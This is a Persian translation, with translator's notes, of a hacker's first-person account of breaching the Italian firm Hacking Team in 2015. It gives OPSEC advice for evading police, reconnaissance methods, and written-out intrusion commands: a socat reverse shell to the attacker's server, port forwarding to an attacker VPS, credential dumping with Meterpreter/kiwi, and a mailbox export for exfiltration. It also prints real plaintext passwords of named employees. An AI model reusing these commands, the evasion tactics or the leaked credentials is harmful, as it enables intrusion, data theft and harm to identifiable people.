مقدمهی مترجم
یکی از راههای افزایش دانش و مهارت در زمینههای مختلف از جمله امنیت اطلاعات، مطالعه و بررسی رویدادهای واقعی به عنوان نمونه است.
مطلب پیش رو ترجمهای از گزارش یک حملهی سایبری معروف است. در سال 2015 یک هکر با نام مستعار Phineas Fisher شرکت معروف هکینگتیم مستقر در میلان ایتالیا را مورد نفوذ قرار داد و 400 گیگابایت اطلاعات از آن به دست آورد که نشان میداد این شرکت با بسیاری از دولتهای ناقض حقوق بشر به ویژه در خاورمیانه، همکاری داشته است. اسناد افشاءشده در این حمله بر روی سایت ویکیلیکس بارگذاری شده است:
WikiLeaks – The Hackingteam Archives
Phineas Fisher پس از حمله و افشای اطلاعات، یک مقاله منتشر کرد که در مورد انگیزه خود، مراحل طی شده در حمله و جزئیات فنی آن توضیح داده است. اصل مقالهی مذکور در آدرس زیر قابل دسترسی است:
https://www.exploit-db.com/papers/41915
این مقاله اگر چه با دید تهاجمی نوشته شده است اما به دلیل شرح خوب جزئیات فنی و علمی، منبعی خوب برای یادگیری نکات پیشگیرانه است. پیشاپیش لازم به ذکر است که این مطلب صرفاً ترجمه شده است و لزوماً بیانگر نظرات مترجم نیست. همچنین، نظرات شما در بهبود این مطلب بسیار ارزشمند است.
هشدار! این مطلب برای اهداف آموزشی تهیه شده است. مسئولیت سوء استفاده از آن بر عهدهی مخاطب است.
معرفی
دنیای انگلیسیزبان همواره کتابها، راهنماییها، گفتگوها و اطلاعات مفید زیادی در مورد “هک کردن” داشته است. در این دنیا، هکرهای زیادی وجود دارند که از من بهتر هستند. متأسفانه، این هکرها از استعداد خود برای کارهای “دفاعی” سوء استفاده میکنند. آنها با پیمانکاران دفاعی و سازمانهای اطلاعاتی همکاری میکنند، برای حفاظت از بانکها و شرکتها تلاش میکنند و سعی دارند که وضع موجود ادامه داشته باشد.
فرهنگ هکری در آمریکا به عنوان یک فرهنگ اعتراضی نسبت به موازین جامعه متولد شد، اما امروزه این فرهنگ در زادگاه خود، از ارزشهای خود دور شده و تنها جنبهی نمادین دارد. هکرهای آمریکایی، تیشرت میپوشند، موی خود را آبی رنگ میکنند، از نامهای مستعار هکری استفاده میکنند و فکر میکنند که نسبت به وضع موجود ناراضی و شورشی هستند در حالی که خود در خدمت این وضع قرار دارند!
قبلاً برای سرقت اسناد محرمانه شما مجبور بودید دزدکی وارد ادارات و سازمانها شوید یا برای دزدیدن پول از بانک نیاز به یک اسلحه داشتید، اما امروزه همه چیز تغییر کرده است! برای انجام این کارها، کافی است در تختخواب خود دراز بکشید و یک لپ تاپ در دستتان باشد.
درست همان طور که CNT بعد از هک گاماگروپ گفت:
بیایید با اشکال جدیدی از مبارزه به جلو قدم بگذاریم!
هک کردن یک ابزار قدرتمند است. بیاموزیم و مبارزه کنیم!
هکینگتیم
هکینگتیم یک شرکت امنیتی ایتالیایی مستقر در میلان است که به دولتها برای هک و جاسوسی از روزنامهنگاران، فعالان مدنی، مخالفان سیاسی و سایر عوامل تهدید کنندهی قدرت کمک کرده است. هر از گاهی، این کمک برای شناسایی و کنترل مجرمان واقعی و تروریستها بوده است. همچنین، این شرکت ادعا کرده است که راهکاری برای شناسایی هویت مجرمان در شبکهی تور و دارکنت پیدا کرده است. من در مورد موثر بودن راهکار آنها شک دارم، چرا که هنوز آزادم و دستگیر نشدهام!
لینکهای مرتبط:
http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
http://www.wired.com/2013/06/spy-tool-sold-to-governments/
http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
در امنیت باشیم
متأسفانه، دنیای ما دارد به عقب برمیگردد. شما با انجام دادن کارهای بد ثروتمند میشوید، اما برای انجام دادن کارهای خوب به زندان میروید. خوشبختانه، به دلیل تلاشهای افراد سختکوش مثل توسعهدهندگان پروژهی تور میتوانید با رعایت چند نکتهی احتیاطی به زندان نروید!
- هارد دیسک خود را رمزنگاری کنید، اگر پلیس برای ضبط کامپیوترتان وارد خانهی شما شده است، معنی این موضوع این است که شما اشتباههای خیلی زیادی انجام داده اید و رهگیری شده اید! به هر حال بهتر است تا حد ممکن در امنیت باشید. با رمزنگاری کردن هارد دیسکتان کار پلیس برای جمع آوری ادلهی جرم بیشتر برای محکوم کردن شما سخت میشود.
- از یک ماشین مجازی که کل ترافیک آن از تور رد میشود استفاده کنید، این کار دو فایده دارد. اول، تمام ترافیک شما با استفاده از تور ناشناس باقی میماند. دوم، جدا نگه داشتن زندگی شخصی شما و موارد مربوط به عملیات هک در دو فضای ایزوله باعث میشود که به طور اتفاقی آنها را قاطی نکنید! برای این منظور میتوانید از پروژههایی مثل Whonix، Tails، Qubes TorVM یا یک چیز سفارشی استفاده کنید. مقایسهی مفصل این پروژهها در این صفحه موجود است.
- مستقیماً به تور وصل نشوید (اختیاری)، تور کاملاً بی عیب نیست. کارآگاهان جرایم سایبری میتوانند زمان اتصال شما به شبکهی تور را با زمان انجام عمل هک تطبیق داده و شما را شناسایی کنند. همچنین، حملات موفقیت آمیزی علیه تور در گذشته انجام شده است. دو راهکار برای امنیت بیشتر در این مورد وجود دارد:
اول، شما میتوانید با استفاده از شبکهی Wifi دیگران به تور وصل شوید. توزیع لینوکس Wifislax دارای ابزارهای زیادی برای حمله به شبکههای Wifi است.
دومین راهکار، استفاده از یک نود ارتباطی یا VPN برای اتصال غیرمستقیم به تور است. این راهکار نسبت به راهکار اول امنیت کمتری دارد چرا که کارآگاهان هنوز میتوانند زمان عملیات هک را با زمان اتصال اینترنت خانگیتان تطبیق دهند و شما را شناسایی کنند. این مسئله به عنوان مدرک جرم علیه جرمی هاموند استفاده شد. جرمی هاموند اندیشکدهی امنیتی استراتفور را در سال 2013 هک کرده و اطلاعات سرقت شده را در ویکیلیکس افشا کرد. او دستگیر و به 10 سال زندان محکوم شد.
مترجم: در مورد حملات انجام شده علیه تور، میتوانید در صفحهی زیر بیشتر بخوانید:
زیرساختهای حمله
من مستقیماً از طریق نودهای خروجی شبکه تور حمله نمیکنم. این نودها در لیست سیاه فایروالها هستند، کند هستند و از آنها برای دریافت کانکشن نمیتوان استفاده کرد. شبکهی تور به من کمک میکند که به طور ناشناس به زیرساختهای حمله متصل شده و عملیات نفوذ را انجام دهم. زیرساختی که من برای حمله استفاده میکنم شامل موارد زیر است:
- نامدامنهها (Domain Names)
برای فرماندهی و کنترل (C&C) و DNS Tunnelingمترجم: در مورد DNS Tunneling میتوانید در صفحهی زیر بیشتر بخوانید:
- سرورهای پایدار
برای استفاده به عنوان سرور فرماندهی و کنترل (C&C)، دریافت شل معکوس (Reverse shell)، اجرای حملات و ذخیرهی اطلاعات سرقت شده در حملات. - سرورهای هک شده
استفاده از آنها در مسیر برای مخفی کردن آدرس IP سرورهای پایدار و برای زمانی که میخواهم اتصالات سریع داشته باشم. مثلاً برای اسکن پورتها، اسکن کل اینترنت، دانلود یک دیتابیس با اکسپلویت آسیبپذیری SQL Injection و…
همچنین، بدیهی است که شما باید از یک روش پرداخت ناشناس استفاده کنید. استفاده از بیت کوین یکی از روشها در این مورد است. (البته اگر با احتیاط استفاده شود.)
انتساب حملات
شما گاهی در اخبار میبینید که برخی حملات سایبری به گروههای هکری وابسته به دولتها نسبت داده میشود. این گروهها APT نامیده میشوند. علت این موضوع این است که آنها از ابزارها و تکنیکهای مشابه بارها استفاده میکنند، ردپاهای مشابهی برجا میگذارند و حتی گاهی از زیرساختهای مشابه (سرور،آدرس ایمیل و …) برای حملات مختلف استفاده میکنند.
مترجم: فعالیت گروههای هکری دولتی در سالهای اخیر افزایش یافته است و ردپای آنها در بسیاری از حملات دیده میشود. به عنوان مثال، انتشار باجافزار WannaCry به گروه هکری وابسته به دولت کرهی شمالی منتسب شده است. این گروه با شناسهی APT38 شناخته میشود. برای اطلاعات بیشتر در مورد سایر گروههای APT میتوانید به صفحهی زیر مراجعه کنید:
من نمیخواستم که با مرتبط کردن حمله به هکینگتیم با سایر حملاتی که در گذشته انجام دادهام به پلیس در کشف سرنخها کمک کنم. برای جلوگیری از ایجاد ارتباط بین حمله به هکینگتیم و حملات گذشته این کارها را انجام دادم:
- از نام مستعار هکری جدید استفاده کردم.
- از سرورها و دامنههای جدید ثبت شده با آدرسهای ایمیل جدید برای حمله استفاده کردم.
- برای پرداختهای مالی، از آدرسهای جدید بیت کوین استفاده کردم.
- فقط از ابزارهایی استفاده کردم که به طور عمومی در دسترس هستند و یا خودم آنها را به خصوص برای این حمله ساختم.
- روش انجام برخی کارها را تغییر دادم تا ردپایی از عادتهای معمول خود برای جرم یابی باقی نگذارم.
مترجم: نکاتی که توسط مهاجم مطرح شدهاند، مربوط به امنیت عملیات (OPSEC) میباشند. برای مطالعهی بیشتر در این مورد میتوانید به آدرس زیر مراجعه کنید:
همچنین، مقالهی زیر به صورت اختصاصی در مورد “امنیت عملیات برای هکرها” تمرکز داشته است:
جمعآوری اطلاعات (Information Gathering)
اگر چه مرحلهی جمعآوری اطلاعات خسته کننده است، ولی این مرحله خیلی مهم است. هر چقدر دامنهی اهداف در یک حمله بزرگتر باشد، پیدا کردن یک حفره یا ضعف امنیتی برای نفوذ آسانتر خواهد بود.
جمعآوری اطلاعات فنی
بعضی تکنیکها و ابزارها عبارتاند از:
- گوگل
گوگل مهمترین منبع برای جمعآوری اطلاعات در مورد اهداف است. بسیاری از اطلاعات مفید در مورد هدف حمله را میتوان با چند کوئری جستجوی خوب پیدا کرد. به طور مثال، شناسایی هویت راس اولبریکت (با نام مستعار Dread Pirate Roberts) ادمین فروشگاه غیرقانونی جادهی ابریشم در دارکوب، با استفاده از جستجوی گوگل صورت گرفته است. (منبع)مترجم: سرویس اطلاعاتی ایران در سالهای 2009 تا 2013 با استفاده از جستجوی گوگل موفق به کشف سرنخهای شبکهی ارتباطی جاسوسان CIA و شناسایی آنها شد! منبع:
معروفترین کتاب در زمینهی استفاده از گوگل برای تست نفوذ، کتاب Google Hacking for Penetration Testers میباشد.
- پیدا کردن زیردامنهها (Subdomain Enumeration)
غالباً وبسایت اصلی یک شرکت توسط یک طرف ثالث میزبانی میشود. شما میتوانید بازهی IP اختصاص یافته به شرکت هدف را پیدا کنید. برای این منظور زیردامنههایی مثل mx.company.com و ns1.company.com نیز میتوانند مفید باشند. همچنین گاهی در برخی زیردامنههای پنهان چیزهایی وجود دارد که در حالت عادی نباید از بیرون قابل دسترسی باشند.
برخی ابزارهای مفید برای یافتن دامنهها و زیردامنهها عبارتاند از: fierce ، theHarvester و recon-ng - جستجوی اطلاعات Whois و جستجوی معکوس (reverse lookup)
با جستجوی معکوس اطلاعات Whois یک دامنه یا IP range یک شرکت میتوان سایر دامنهها و بازههای IP آن را پیدا کرد. تا آن جایی که من میدانم، جز یک ترفند جستجوی گوگل راه رایگانی برای جستجوی معکوس وجود ندارد. با استفاده از این کوئریهای گوگل میتوان جستجوی معکوس انجام داد:Company name” site:domaintools.com”
Company name” site:www.findip-address.com”کوئریهای زیر مثالی از جستجوی معکوس با استفاده از گوگل برای پیدا کردن IP range شرکت via della moscova است:
via della moscova 13″ site:www.findip-address.com”
via della moscova 13″ site:domaintools.com” - اسکن پورتها (Port scanning) و انگشتنگاری (Fingerprinting)
برخلاف تکنیکهای قبلی، در این تکنیکها مستقیماً با سرورهای هدف ارتباط برقرار میشود. من این تکنیکها را در این قسمت دستهبندی کردم، چرا که این یک حمله نیست و فقط برای جمعآوری اطلاعات در مورد هدف استفاده میشود. ممکن است سیستم IDS شرکت هدف به مدیر شبکه در این مورد هشدار دهد. جای نگرانی نیست، چرا که کل اینترنت به طور مداوم اسکن میشود.برای اسکن، ابزار nmap دقیق است و میتواند اکثر سرویسهای پیدا شده را شناسایی و مشخص کند. برای شرکتهایی که IP range آنها خیلی بزرگ است میتوان از ابزارهای zmap یا masscan استفاده کرد که سرعت بالایی دارند.
ابزارهای WhatWeb یا BlindElephant برای شناسایی و انگشتنگاری سرویسهای وب استفاده میشوند.
جمعآوری اطلاعات اجتماعی
برای حملات مهندسی اجتماعی، داشتن اطلاعات در مورد کارکنان و سمت شغلی آنها، اطلاعات تماس، سیستم عامل و نرم افزارهای مورد استفاده و… سودمند است. برخی منابع برای جمعآوری این اطلاعات عبارتاند از:
- گوگل
در این جا نیز گوگل مفیدترین ابزار برای پیدا کردن اطلاعات است. - ابزارهای theHarvester و recon-ng
من این ابزارها را در قسمت قبلی ذکر کردم اما این دو کاربرد بسیار بیشتری دارند. آنها میتوانند اطلاعات زیادی را به سرعت و خودکار پیدا کنند. ارزش دارد که تمام مستندات این ابزارها را بخوانید. - لینکدین
میتوان با استفاده از لینکدین اطلاعات زیادی را در مورد کارکنان شرکت هدف پیدا کرد. استخدامکنندگان شرکت به احتمال زیاد درخواست شما برای اتصال در لینکدین را قبول میکنند. - Data.com
اطلاعات تماس بسیاری از کارکنان در Data.com (قبلاً با نام jigsaw شناخته میشد) ثبت شده است.مترجم: سرویس Data.com در سال 2019 به کار خود پایان داد. میتوانید از سرویسهای مشابه دیگر استفاده کنید.
- اطلاعات Metadata در فایلها
اطلاعات بسیاری در مورد کارکنان و سیستمهای مورد استفادهی آنها از متادیتای فاییهایی که شرکت به صورت عمومی منتشر کرده است قابل استخراج است. ابزارهای مفید برای پیدا کردن فایلهای روی وبسایت شرکت و استخراج اطلاعات متادیتا عبارتاند از metagoofil و FOCA
ورود به شبکهی هدف
راههای مختلفی برای وارد شدن به شبکهی هدف وجود دارند. من برای ورود به شبکهی هکینگتیم از یک روش غیرمعمول استفاده کردم که نسبت به حالت معمول نیاز داشت که کار بیشتری انجام شود. دو روش معمول وجود دارند که امتحان کردن آنها را در قدم اول توصیه میکنم:
- مهندسی اجتماعی
امروزه اکثر حملات هکری با مهندسی اجتماعی، به خصوص فیشینگ هدفمند (spear phishing) صورت میگیرد. فیشینگ هدفمند یکی از انواع مختلف فیشینگ است که فرد یا گروه خاصی را مورد هدف قرار میدهد. برای اطلاعات بیشتر میتوانید به قسمت Targeted Attacks در این مقاله مراجعه کنید.
من فیشینگ هدفمند را علیه هکینگتیم امتحان نکردم. اصلاً کار خود آنها این است که به دولتها کمک کنند که علیه مخالفان فیشینگ هدفمند انجام دهند. اگر تلاشی برای این نوع حمله انجام میشد به احتمال زیاد آنها حمله را تشخیص داده و در مورد آن تحقیق میکردند. - خریدن دسترسی
با تشکر از روسهای سختکوش و اکسپلویتکیتهای آنها، فروشندگان ترافیک و مدیریتکنندگان باتنتها، بسیاری از شرکتها سیستمهای آلوده دارند که در شبکهای از سایر سیستمهای آلوده توسط این مجرمان سایبری قابل کنترل از راه دور هستند. تقریبا همهی 500 شرکت بزرگ آمریکایی با شبکههای بسیار بزرگشان تعدادی سیستم آلوده در این شبکهی شیطانی دارند. در صورتی که این مجرمان در شرکت هدف شما دسترسی دارند میتوانید با پرداخت هزینه دسترسی را از آنها بخرید.
هکینگتیم یک شرکت بسیار کوچک است و بسیاری از کارمندان آن کارشناس امنیت اطلاعات هستند. بنابراین، احتمال خیلی کمی وجود داشت که آنها سیستم آلوده داشته باشند.
جزئیات فنی اکسپلویت
پس از هک گاماگروپ، من یک پروسه برای پیدا کردن آسیب پذیریها تعریف کردم. هکینگتیم یک IP range عمومی داشت:
inetnum: 93.62.139.32 – 93.62.139.47
descr: HT public subnet
هکینگتیم به شکل خیلی محدود بر روی اینترنت قابل دسترسی بود. به طور مثال، بر خلاف گاماگروپ، مشتریان هکینگتیم برای اتصال و دسترسی به سایت پشتیبانی باید یک گواهی SSL سمت کاربر نصب میکردند.
مترجم: برای اطلاعات بیشتر در مورد پروتکل SSL/TLS، میتوانید به ویدیوی آموزشی زیر مراجعه کنید:
موارد زیر تمام چیزی بود که از هکینگتیم به شکل عمومی در اینترنت قابل دسترسی بود:
- وب سایت اصلی آنها که از جوملا استفاده کرده بود. ابزار Joomscan هیچ آسیبپذیری یا ضعف جدی در آن پیدا نکرد.
- یک سرور ایمیل Postfix
- دو عدد دستگاه روتر
- دو عدد دستگاه VPN
- یک دستگاه فیلتر اسپم
بنابراین، من برای حمله سه گزینه داشتم:
- پیدا کردن آسیبپذیری روز صفر در جوملا
- پیدا کردن آسیبپذیری روز صفر در Postfix
- پیدا کردن آسیبپذیری روز صفر در یکی از دستگاههای امبدد (Embedded devices)
به نظر میرسید که پیدا کردن آسیبپذیری روز صفر در یکی از دستگاهها راحتترین گزینه باشد. بعد از دو هفته تلاش برای مهندسی معکوس دستگاهها توانستم یک آسیبپذیری کشف و از آن برای اجرای کد از راه دور با دسترسی روت (Remote root exploit) و گرفتن دسترسی بهرهگیری کنم.
چون این آسیبپذیری هنوز برطرف نشده است، اطلاعات بیشتری در مورد آن ارائه نمیکنم اما برای خواندن در مورد کشف آسیبپذیریهای مشابه میتوانید به منابع زیر مراجعه کنید:
https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
http://www.devttys0.comمترجم: بعداً مشخص شد مهاجم از آسیبپذیری Shellshock برای نفوذ به شبکه استفاده کرده است.
آمادهسازی
من کار زیادی انجام دادم و بارها اکسپلویت را قبل از حمله به هکینگتیم تست کردم. من یک سفتافزار (Firmware) آلوده ساختم و درون آن یک درب پشتی (Backdoor) قرار دادم. همچنین، ابزارهای مختلفی را برای برای دستگاه هدف به منظور پسابهرهگیری (Post-exploitation) کامپایل کردم. استفاده از درب پشتی به منظور حفاظت از اکسپلویت و دسترسی صورت میگیرد. اگر از اکسپلویت فقط یک بار و برای گذاشتن درب پشتی استفاده شود، در آینده برای دسترسی مجدد از درب پشتی وارد سیستم میشویم و دیگر نیازی به اکسپلویت نیست. این کار شناسایی آسیبپذیری استفاده شده و برطرف کردن آن را سخت میکند.
ابزارهایی که من برای مرحلهی پسابهرهگیری آماده کردم:
- busybox
برای داشتن کلیه ابزارهای استاندارد Unix که دستگاه هدف به صورت پیشفرض پشتیبانی نمیکرد.
- nmap
برای اسکن و بررسی سرویسهای شبکهی داخلی هکینگتیم
- Responder.py
قدرتمندترین ابزار برای حمله به شبکههای ویندوزی وقتی که شما به شبکهی داخلی دسترسی دارید ولی کاربر دامنه (domain user) نیستید.
- Python
برای اجرای Responder.py
- tcpdump
برای شنود ترافیک (Sniffing attack)
- dsniff
برای شنود پسوردها از پروتکلهای ناامن مثل http و ftp و برای عمل ARP Spoofing. من میخواستم از ابزار Ettercap که توسط خود اعضای هکینگتیم نوشته شده استفاده کنم اما کامپایل آن برای دستگاه هدف دشوار بود.
- socat
از این ابزار برای سر و کار داشتن با شل معکوس با قابلیت پشتیبانی از ترمینال استفاده کردم. (PTY shell)این ابزار بسیار مفید است و برای کار با شبکه مثل چاقوی سوئیسی عمل میکند. توصیه میکنم قسمت مثالها از مستندات این ابزار را بخوانید.my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
hacked box: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:my_server:my_port
- screen
مثل پشتیبانی از ترمینال (PTY) برای شل معکوس، این مورد هم واقعاً لازم نیست. من میخواستم هنگام کار درون شبکهی داخلی هکینگتیم کاملاً راحت باشم.
- SOCKS proxy server
تا با استفاده از آن به همراه proxychains بتوانم به شبکهی داخلی آنها در هر نرمافزار دسترسی داشته باشم.
- tgcd
استفاده در Port forwarding برای سرور SOCKS از بین فایروال و موارد مشابه.بدترین اتفاقی که ممکن بود در مرحلهی پس از اکسپلویت کردن (Post-exploitation) رخ بدهد، این بود که درب پشتی و ابزارهای من موجب بروز مشکل و ناپایداری در دستگاه هدف شوند و یکی از کارمندان شک کرده و موضوع را بررسی کند. برای جلوگیری از این موضوع، به مدت یک هفته اکسپلویت و ابزارهایی را که آماده کرده بودم بر روی سایر شرکتهای آسیبپذیر تست کردم تا مطمئن شوم که مشکلی وجود ندارد.
در نهایت از اکسپلویت و ابزارهایم استفاده کردم و وارد شبکهی داخلی هکینگتیم شدم.
مترجم: معمولاً مهاجمان حرفهای قبل از حملات هدفمند، در شرایط مختلف حمله را شبیهسازی میکنند تا احتمال موفقیت حمله را بالا ببرند.
تماشا کن و گوش بده!
وقتی وارد شبکهی داخلی شدم، در قدم اول خواستم که نگاهی به اطراف بیاندازم و در مورد مرحلهی بعد تصمیم بگیرم. از اسکریپت Responder.py در حالت آنالیز استفاده کردم. (فلگ A برای گوش دادن بدون فرستادن پاسحهای آلوده)
python Responder.py –A
همچنین با استفاده از nmap یک اسکن کند برای شناسایی شبکه انجام دادم.
پایگاههای دادهی NoSQL
NoSQL یا به اصطلاح من NoAuthentication (بدون احراز هویت!) هدیهی بزرگی به هکرها بوده است. نگران بودم که هکینگتیم همهی آسیبپذیریهای دور زدن احراز هویت (authentication bypass) را در MySQL برطرف کرده باشد. درست همین زمان، سبک جدیدی از پایگاههای داده معمول شد که به صورت ذاتی فاقد فرایند احراز هویت هستند.
Nmap چند پایگاه دادهی بدون احراز هویت در شبکهی داخلی هکینگتیم پیدا کرد:
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 47547
| totalSize = 49856643072
…
|_ version = 2.6.5
27017/tcp open mongodb MongoDB 2.6.5
| mongodb-databases:
| ok = 1
| totalSizeMb = 31987
| totalSize = 33540800512
| databases
…
|_ version = 2.6.5مترجم: یادی میکنیم از دیتابیس MongoDB تپسی که با احراز هویت پیشفرض بر روی اینترنت بود! منبع:
Iranian Ride-Hailing App Database Exposureدیتابیسها برای نمونههای تست RCS (یک نوع بدافزار برای کنترل از راه دور) استفاده میشد. همچنین، با استفاده از قابلیت GridFS در MongoDB تعدادی فایل صوتی در دیتابیس ذخیره شده بود. اعضای هکنیگ تیم صدایشان را در دیتابیس ذخیره کرده بودند و بدون منظور خاصی از خودشان جاسوسی میکردند! پس از حمله، من فایلهای صوتی ذخیره شده در دیتابیس را در تورنت منتشر کردم:
https://ht.transparencytoolkit.org/audio
کابلهای متقاطع!
گوش دادن به فایلهای صوتی و دید زدن وبکم اعضای هکینگتیم در حال توسعهی بدافزار سرگرمی جالبی بود ولی این اطلاعات خیلی مفید نبودند. من دنبال اطلاعات مهمتری میگشتم.
ذخیرهی ناامن فایلهای پشتیبانی (Backup) نقطهی ضعفی بود که درها را برای نفوذ بیشتر باز کرد. طبق فایل مستندات هکینگتیم، قرار بود دستگاههای iSCSI در یک شبکهی داخلی جداگانه باشند ولی Nmap چند تا از آنها را در زیرشبکه (subnetwork) با بازهی 192.168.1.200/24 پیدا کرد:
Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
…
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:ht-synology.name
| Address: 192.168.200.66:3260,0
|_ Authentication: No authentication required
Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
…
3260/tcp open iscsi?
| iscsi-info:
| Target: iqn.2000-01.com.synology:synology-backup.name
| Address: 10.0.1.72:3260,0
| Address: 192.168.200.72:3260,0
|_ Authentication: No authentication required
برای سر و کار داشتن با iSCSI از طریق دستگاه هک شده (Embedded device)، لازم بود که یک ماژول برای کرنل لینوکس نصب شود اما کامپایل ماژول برای این دستگاه خیلی سخت بود و از روش دیگری استفاده کردم. من پورت مربوط به سرور iSCSI در شبکهی داخلی را فوروارد کردم تا بتوانم از VPS خودم که خارج از شبکه است به آن دسترسی داشته باشم.
VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1اما یک مشکل وجود داشت، iSCS نامدامنهی iqn.2000-01.com.synology را پیدا کرد ولی نتوانست عمل mounting را انجام دهد. علت مشکل این بود که iSCSI فکر میکرد آدرس آیپی آن به جای 127.0.0.1 برابر با 192.168.200.72 است. با دستور زیر مشکل حل شد:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT –to-destination 127.0.0.1
و با دستور زیر:
iscsiadm -m node –targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login
نام Hard drive ها نشان داده شد. برای بررسی ابتدا عمل mount روی فایل درایو اصلی انجام شد:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
در میان فایلهای حاصل، فایلهای پشتیبان مربوط به ماشینهای مجازی (VM) مختلف را پیدا کردم. فایل مربوط به Exchange server جذابترین مورد بود. این فایل حجم زیادی داشت و دانلود آن سخت بود پس آن را برای جستجوی فایلهای جذاب mount کردم.
losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk $
fdisk -l /dev/loop0 $
/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT
so the offset is 2048 * 512 = 1048576
losetup -o 1048576 /dev/loop1 /dev/loop0 $
mount -o ro /dev/loop1 /mnt/exchange/ $اکنون در آدرس:
/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311/
هارد دیسک ماشین مجازی نمایش داده میشود. هارد دیسک را mount کردم:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1و در نهایت میشود فایلهای مربوط به Exchange server قدیمی را در آدرس:
mnt/part1/
پیدا کرد.
از فایلهای پشتیبان تا ادمین دامنه
مهمترین موضوع برای من این بود که بتوانم در فایلهای پشتیبان رمز عبور یا مقدار hash پیدا کنم و با آن بتوانم به سرورها وارد شوم.
من از ابزارهای pwdump ، cachedump و از ابزار lsadump برای بررسی رجیستری ویندوز استفاده کردم. ابزار lsadump پسورد حساب کاربری besadmin را پیدا کرد:
_SC_BlackBerry MDS Connection Service
0000 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 …………….
0010 62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00 b.e.s.3.2.6.7.8.
0020 21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00 !.!.!………..
از ابزار proxychains به همراه سرور SOCKS proxy و ابزار smbclient استفاده کردم تا بررسی کنم که نام کاربری و پسورد هنوز معتبر هستند یا نه:
proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/besadmin%bes32678!!!’
نام کاربری besadmin و پسورد پیدا شده معتبر بودند و من توانستم وارد Exchange server شوم. این نام کاربری یک ادمین محلی بود. پس از ورود به سرور، با استفاده از ماژول psexec_psh در متاسپلویت و سرور proxy SOCKS یک نشست meterpreter برای هندل دسترسی ایجاد کردم و به یک پروسس 64 بیت مهاجرت کردم. (process migration)
مترجم: مهاجرت به یک پروسس دیگر به منظور پنهان کاری، تغییر معماری از x86 به x64 و موارد مشابه انجام میشود.
پس از مهاجرت به یک پروسس جدید، از دستورات زیر در متاسپلویت برای استخراج اطلاعات کاربران لاگین شده از حافظه سرور استفاده کردم:
load kiwi
creds_wdigestتوانستم پسورد تعدادی از کاربران از جمله ادمین دامنه (Domain admin) را استخراج کنم:
HACKINGTEAM BESAdmin bes32678!!!
HACKINGTEAM Administrator uu8dd8ndd12!
HACKINGTEAM c.pozzi P4ssword <—- lol great sysadmin
HACKINGTEAM m.romeo ioLK/(90
HACKINGTEAM l.guerra 4luc@=.=
HACKINGTEAM d.martinez W4tudul3sp
HACKINGTEAM g.russo GCBr0s0705!
HACKINGTEAM a.scarafile Cd4432996111
HACKINGTEAM r.viscardi Ht2015!
HACKINGTEAM a.mino A!e$$andra
HACKINGTEAM m.bettini Ettore&Bella0314
HACKINGTEAM m.luppi Blackou7
HACKINGTEAM s.gallucci 1S9i8m4o!
HACKINGTEAM d.milan set!dob66
HACKINGTEAM w.furlan Blu3.B3rry!
HACKINGTEAM d.romualdi Rd13136f@#
HACKINGTEAM l.invernizzi L0r3nz0123!
HACKINGTEAM e.ciceri 2O2571&2E
HACKINGTEAM e.rabe erab@4HT!مترجم: kiwi افزونهی ابزار معروف mimikatz برای meterpreter در متاسپلویت است و چون مهاجم در سرور مذکور دسترسی ادمین داشت، توانست پسورد کاربران لاگین شده را از حافظه ی RAM استخراج کند.
دانلود ایمیلها
با داشتن رمز عبور ادمین دامنه، من به سرور ایمیل شرکت که قلب آن محسوب میشود دسترسی داشتم. چون در هر یک از مراحل نفوذ احتمال تشخیص آن وجود دارد، من قبل از این که جستجو را ادامه دهم، ابتدا ایمیلها را دانلود کردم.
با استفاده از Powershell کار من راحت بود. همچنین، من یک باگ در استفاده از فرمت تاریخ در پاورشل پیدا کردم. بعد از دانلود ایمیلها، من دو هفته برای سرقت سورسکدها و چیزهای دیگر وقت گذاشتم. در این دو هفته هر زمان که برمیگشتم، ایمیلهای جدید را دانلود میکردم. سرور ایتالیایی بود و تاریخ به این شکل day/month/year استفاده میشد. بنابراین من از دستور زیر برای دانلود ایمیلهای جدید از تاریخ June 5 به بعد استفاده کردم:
New-MailboxExportRequest-ContentFilter {(Received -ge ’05/06/2015′) -or (Sent -ge ’05/06/2015′)}
